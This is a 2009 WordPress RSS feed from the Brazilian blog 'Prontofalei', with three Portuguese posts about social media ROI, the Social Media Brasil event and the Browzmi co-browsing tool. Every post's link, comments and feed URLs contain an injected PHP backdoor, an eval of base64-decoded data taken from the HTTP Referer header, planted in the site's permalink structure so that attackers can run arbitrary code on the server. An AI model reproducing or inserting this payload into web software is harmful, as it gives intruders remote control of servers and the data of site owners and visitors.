<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prontofalei &#187; social</title>
	<atom:link href="http://fullcircle.com.br/blog/tag/social/feed/" rel="self" type="application/rss+xml" />
	<link>http://fullcircle.com.br/blog</link>
	<description>Falando do seu negócio</description>
	<lastBuildDate>Thu, 15 Oct 2009 15:50:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Sim, investir em redes sociais dá lucro!</title>
		<link>http://fullcircle.com.br/blog/2009/07/22/sim-investir-em-redes-sociais-da-lucro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/07/22/sim-investir-em-redes-sociais-da-lucro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 14:55:17 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[Altimeter Group]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Mercado e Consumo]]></category>
		<category><![CDATA[orkut]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[redes sociais]]></category>
		<category><![CDATA[redessociais]]></category>
		<category><![CDATA[rp]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[socialmedia]]></category>
		<category><![CDATA[starbucks]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=187</guid>
		<description><![CDATA[Uma pesquisa recente publicada pela Altimeter Group, uma consultoria digital americana, mostrou que empresas que investiram fortemente na divulgação de seus produtos ou serviços através de redes sociais como Twitter, Blogs e Facebook tiveram um crescimento de 18% nos últimos 12 meses. As empresas que não investiram tanto assim em socialmedia, tiveram apenas 6% de [...]]]></description>
			<content:encoded><![CDATA[<p>Uma pesquisa recente publicada pela <span class="articleText"><a href="http://www.mediapost.com/publications/?fa=Articles.showArticle&amp;art_aid=110120" target="_blank">Altimeter Group</a>, uma consultoria digital americana, mostrou que empresas que investiram fortemente na divulgação de seus produtos ou serviços através de redes sociais como Twitter, Blogs e Facebook tiveram um crescimento de 18% nos últimos 12 meses. As empresas que não investiram tanto assim em socialmedia, tiveram apenas 6% de crescimento.</span></p>
<p>A pesquisa analisou a performance de empresas em 10 redes sociais, e as que tiveram mais sucesso no último ano foram Starbuck, Dell, eBay, Google e Microsoft.</p>
<p>O estudo mostrou que os investimento em socialmedia retornam no próprio crescimento da marca, pois ações bem planejadas fazem com que consumidores e não-clientes se envolvam com a marca e divulguem suas empresas por livre e espontânea vontade.</p>
<p>É claro que as ações em socialmedia das empresas citadas acima vão muito além de postar links no Twitter ou escrever posts sobre assuntos diversos. A Starbucks, por exemplo, criou uma comunidade onde as melhores ideias para melhorar a empresa eram realmente colocadas em prática. Este tipo de ação vai além de informar e compartilhar conteúdo, chamando para que as pessoas realmente se envolvam com a marca, seus produtos, e seu negócio em geral.</p>
<p>Investir em ações para redes sociais não é apenas criar um perfil em todas as redes existentes, e pagar para que uma empresa qualquer entupa os feeds com conteúdo, mas sim definir estratégicas para oferecer a alguns públicos e nichos específicos algo que realmente eles queiram ler, ver ou ouvir.</p>
<p>O investimento em social que dá lucro, é quando alguém realmente se envolve com a causa.</p>
<p>Pense nisso.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/07/22/sim-investir-em-redes-sociais-da-lucro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Uma pincelada sobre o Social Media Brasil</title>
		<link>http://fullcircle.com.br/blog/2009/06/08/uma-pincelada-sobre-o-social-media-brasil/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/06/08/uma-pincelada-sobre-o-social-media-brasil/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 15:30:55 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[fullcircle]]></category>
		<category><![CDATA[idman]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[redessociais]]></category>
		<category><![CDATA[smbr]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[socialmedia]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=182</guid>
		<description><![CDATA[Sorte minha ter encontrado @missmoura nas escadas da Gazeta, que me apresentou a fofa da @anaborges do Opinião e Notícia, que me deu o privilégio de participar do SMBR.
 
Os comentários que rolavam nas arquibancadas do evento eram: muito jabá e pouca novidade.
Mas faço minhas as palavras de @guicury no Twitter: Criticar é fácil, mas [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: Arial;">Sorte minha ter encontrado <a href="http://www.twitter.com/missmoura" target="_blank">@missmoura</a> nas escadas da Gazeta, que me apresentou a fofa da <a href="http://www.twitter.com/anaborges" target="_blank">@anaborges</a> do <a href="http://opiniaoenoticia.com.br/" target="_blank">Opinião e Notícia</a>, que me deu o privilégio de participar do <strong>SMBR</strong>.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"> </span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">Os comentários que rolavam nas arquibancadas do evento eram: muito jabá e pouca novidade.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">Mas faço minhas as palavras de <a href="http://twitter.com/guicury/status/2047934367" target="_blank">@guicury</a> no Twitter: Criticar é fácil, mas poucos sabem o duro que é organizar um evento.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"> </span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">Assisti poucos painéis, mas achei interessante o cara da <a href="http://amanaie.com.br/" target="_blank">Amanaiê</a> falando sobre apps pro Orkut. Deu uma esquentada nas apresentações.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"> </span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">Acho que fica a dica para os próximos eventos, e eu já havia cantado essa bola para o <a href="http://www.twitter.com/formagio" target="_blank">@formagio</a>: vamos promover a interação das pessoas. Sei que é difícil bolar algum tipo de recreação num teatro com 700 pessoas, mas está é a maneira mais fácil de fazer com que as pessoas conversem e discutam mais, além é claro, daquelas 5 perguntinhas que o povo pode fazer no final.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"> </span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">Se houver mais interação tete-a-tete entre os participantes em um evento deste tipo, com certeza, novos assuntos serão gerados, e ao invés de fazer com que os palestrantes relatem cases de suas agências, propiciar mais debates entre os <strong>web-Papas</strong> talvez faça com que novidades saiam da cartola.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"> </span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">De resto, estão de parabéns pela organização. No próximo eu espero um bate-boca, digo&#8230; um bate-bola entre o <a href="http://twitter.com/crisdias" target="_blank">@crisdias</a> e alguém como o <a href="http://twitter.com/renedepaula" target="_blank">@renedepaula</a>, por exemplo.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/06/08/uma-pincelada-sobre-o-social-media-brasil/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Navegar é preciso. Juntos é mais legal!</title>
		<link>http://fullcircle.com.br/blog/2008/08/07/navegar-e-preciso-juntos-e-mais-legal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/08/07/navegar-e-preciso-juntos-e-mais-legal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 08 Aug 2008 00:02:05 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[compartilhamento]]></category>
		<category><![CDATA[navegação]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=56</guid>
		<description><![CDATA[A utilidade real é questionável mas pelo menos é divertido e um bom passa-tempo. O Browzmi permite que um grupo de amigos se reuna para visitar sites juntos. Funciona assim: você se cadastra (de graça como tudo o que há de melhor na web hoje em dia) e pronto! É mais um que segue a [...]]]></description>
			<content:encoded><![CDATA[<p>A utilidade real é questionável mas pelo menos é divertido e um bom passa-tempo. O Browzmi permite que um grupo de amigos se reuna para visitar sites juntos. Funciona assim: você se cadastra (de graça como tudo o que há de melhor na web hoje em dia) e pronto! É mais um que segue a tal tendência do &#8220;no downloads, no installations&#8221; e &#8220;no fees&#8221;. Depois de cadastrados, você e seus amigos terão dentro do Internet Explorer, por exemplo, o navegador do Browzmi onde tudo acontece.</p>
<p>Duas barras laterais auto-ocultáveis guardam as funcionalidades enquanto no meio rola a naveção normal visível aos convidados. Do lado esquerdo, em verde, a barra tem links para mostrar a navegação dos amigos, bate-papo (sim, ele tem seu próprio chat), lista de favoritos, e atualizações que seria um histórico. Do outro lado, a barra azul (é, a interface lembra a simplicidade e o colorido do Google), há atalhos que mostram coisas a mais como fotos ou vídeos relacionados à página e onde outras pessoas estão navegando, além de ações realizadas nos sites como adicionar aos favoritos, comentar e sinalizar como bom ou ruim.</p>
<p>Talvez você encontre alguma função importante para o Browzmi mas no geral acaba sendo algo divertido. De qualquer forma, a intenção parece ser essa mesma. Ele é compatível com Internet Explorer, Firefox e Safari. E quando quiser navegar com privacidade lembre-se de abrir a página em outra janela ou guia fora do Browzmi.</p>
<p>Browzmi: <a href="http://www.browzmi.com">http://www.browzmi.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/08/07/navegar-e-preciso-juntos-e-mais-legal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
